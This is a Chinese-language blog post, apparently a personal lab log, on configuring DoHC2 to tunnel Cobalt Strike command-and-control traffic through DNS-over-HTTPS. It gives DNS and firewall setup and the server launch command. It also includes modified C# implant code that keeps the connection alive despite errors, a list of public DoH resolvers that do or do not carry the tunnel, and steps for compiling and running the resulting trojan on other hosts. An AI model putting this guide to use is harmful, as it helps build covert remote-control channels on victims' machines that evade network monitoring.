Cobalt Strike的DoH隧道隐匿方式工具DoHC2配置尝试

该文章只是为了记录博主配置该工具的一个流程,其中还存在诸多问题,且博主本身水平有限,很多专业术语用词不当或者未解释充分,请读者见谅

实验所使用的相关设备配置信息:

使用工具:

DoHC2:https://github.com/SpiderLabs/DoHC2

team server OS:Ubuntu Server 18.04.1 LTS 64bit

Cobalt Strike版本:4.3

域名与云服务器皆使用腾讯云产品

CS客户端OS:Linux kali 6.1.0-kali9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12) x86_64 GNU/Linux

目录

域名解析准备与配置

团队服务器端防火墙设置

外部C2转发设置

方式一

方式二:

DoHC2服务端

DoHC2客户端和木马生成(其中存在诸多问题)

第一步 生成木马运行所需的.dll(动态连接库)文件

正常流程

 一个遇到的问题

第二步 木马生成代码参数填充,及木马生成


域名解析准备与配置

 设置一个指向C2的IP地址的A记录和两个用于发送和接受DNS隧道信息的NS记录,如下图

 其中test A记录(test.****.****)指向你的CS团队服务器IP,上面两个NS记录指向test.****.****(你的域名)。

在DoHC2工具中send.****.****用作发送信息域名,receive.****.****用作接收信息域名。

团队服务器端防火墙设置

 打开服务器的2222端口用于外部C2转发,打开53端口进行侦听

外部C2转发设置

方式一

CS客户端加载external_c2.cna文件(用于开启外部C2转发)该.cna文件可以在DoHC2 GitHub仓库中找到。

完成加载后可以使用getStager.py测试是否成功建立外部连接 ,如下图所示:

 方式二:

CS4.3版本支持直接在监听列表创建External C2,建立方式如下图:

DoHC2服务端

首先对DoHC2.py中代码进行修改,如下:

 在INPUTDOMAINOUTPUTDOMAIN变量处改为先前设置的发信和收信域名

在团队服务器端使用以下指令,即可启动DoHC2服务器:

sudo python3 ./DoHC2.py

结果如下:

DoHC2客户端和木马生成(其中存在诸多问题)

第一步 生成木马运行所需的.dll(动态连接库)文件

正常流程

通过visual studio打开ExternalC2 项目,打开解决方案资源管理器,右键点击ExternalC2,再点击生成。会在项目目录下的bin\Debug目录下生成ExternalC2.dll文件

 一个遇到的问题

本来按照工具的说明文档直接对External C2文件进行编译生成.dll文件 即可正常上线,但是博主在之后运行木马时遇到了意外的情况,如下所示:

本来上线所需要发送的包只需要一个即可,但是在此处却需要发送1326个之多,由于频繁的发送数据包,导致可能发生502报错直接退出运行从而导致连接失败,木马无法完成上线。

目前博主尚未解决发送过多数据包的问题,但是通过对代码进行修改,使得能够避免上面报错导致的退出。

此时需要将External C2项目中的DoHChannel.cs文件中的 ReadFrame() 方法进行修改:

public byte[] ReadFrame()
        {
            //以下注释掉的为原代码
            /*try
            {
                string session = RandomString(4);

                string probe = String.Format("{0}.{1}.{2}", dohSocketHandle, session, receiveHostname);
                getTxtRecords(probe);
                System.Threading.Thread.Sleep(2000);

                int pos = 0;
                int limit = 2000;
                bool eof = false;
                string data = "";
                while (!eof && (pos < limit))
                {
                    string lookup = String.Format("{0}.{1}.{2}.{3}", dohSocketHandle, pos, session, receiveHostname);

                    List<string> responses = getTxtRecords(lookup);
                    foreach (string r in responses)
                    {
                        if (r.Contains("EOFEOFEOFEOF"))
                        {
                            eof = true;
                            break;
                        }
                        data += r;
                        pos += 1;
                    }
                }
                Console.WriteLine("成功退出while循环");
                byte[] buffer = decrypt(Convert.FromBase64String(data));
                return buffer;
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Exception while reading socket: {ex.Message}");
                return new byte[] { 0x00 };
            }*/
            
            //以下为修改后的代码
            string session = RandomString(4);

            string probe = String.Format("{0}.{1}.{2}", dohSocketHandle, session, receiveHostname);
            getTxtRecords(probe);
            System.Threading.Thread.Sleep(2000);

            int pos = 0;
            int limit = 2000;
            bool eof = false;
            string data = "";
            while (!eof && (pos < limit))
            {
                try
                {
                    string lookup = String.Format("{0}.{1}.{2}.{3}", dohSocketHandle, pos, session, receiveHostname);

                    List<string> responses = getTxtRecords(lookup);
                    foreach (string r in responses)
                    {
                        if (r.Contains("EOFEOFEOFEOF"))
                        {
                            eof = true;
                            break;
                        }
                        data += r;
                        pos += 1;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Exception while reading socket: {ex.Message}");
                }

            }
            byte[] buffer = decrypt(Convert.FromBase64String(data));
            return buffer;

        }

原理为将在while发包循环外的try-catch 语句移到了while循环之内,同时删掉了捕捉到异常时的return语句,这样就算在发包的时候发生了异常,也不会退出程序停止运行,而是可以继续发包维持连接,从而正常上线。

第二步 木马生成代码参数填充,及木马生成

首先使用visual studio 打开项目DoHC2Runner

修改doh.Configure()中参数,其中第一个为送信域名,第二个为收信域名,第三个为DoH解析服务器域名,如下图所示:

其中博主尝试了目前主流的DoH解析服务商,运行结果如下所示,读者可按自己需要选择:

不能使用的代理:
https://dns.alidns.com/dns-query (400报错),

https://dns.google.com/resolve (随机调换域名大小写导致信息交流出错),
https://dns.ipv6dns.com/dns-query (400报错)(Yeti 国内),

https://dns.quad9.net/dns-query (400报错)
https://doh.opendns.com/dns-query (400报错)(OpenDNS 思科)
可以使用的代理:
https://cloudflare-dns.com/dns-query,(cloudflare)
https://doh.pub/dns-query,(腾讯)
https://doh.360.cn (360, 客户端发送一个包会传三个包给服务器端)
https://doh.dns.sb/dns-query /https://doh.sb/dns-query(客户端发送一个包会传三个包给服务器端,且发送大负荷数据包会自动断连)(德国的公共DNS解析服务DNS.sb) 

 另外建议在代码最后添加一行

Console.ReadLine();

便于退出程序时不直接关闭窗口。

除此之外,项目需要添加对ExternalC2.dll的引用

 木马上线

完成上述步骤后,应该就可以上线木马了,有两种方式可供大家选择:

一是直接在DoHC2Runner项目中进行编译运行代码,二是在其解决方案资源管理器页面,右键点击DoHC2Runner再点击生成,会在项目的bin\Debug目录下生成几个文件,此时我们点击生成的DoHC2Runner.exe文件即可在该主机上运行木马,如果需要在其他主机或虚拟机上运行木马,只需要将该可执行文件复制过去即可,而不用拷贝整个Debug文件夹

 除此之外,请不要忘记在服务器端启动Cobalt Strike服务器,经过漫长又紧张的连接后,你就可以在你的CS客户端上看到这新上线的DoH木马了。

 写在最后

虽然博主最后能够上线木马,但是非常容易在上线后触发502报错导致连接中断,目前尚未找到比较好的方法解决。另外DoH木马本质上需要使用DNS协议,博主使用DoH上线木马和CS自带的DNS载荷上线木马时都无法通过sleep指令调节木马与服务器端的心跳间隔(sleeptime)和抖动(jitter)。同时上线需要过多数量的连接数据包的原因也还尚未弄明白,如果有大神愿意为小弟解惑,本人在此先谢谢各位大佬了。

最后的最后,非常感谢大家百忙之中抽空阅读我的文章,望各位雅正!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值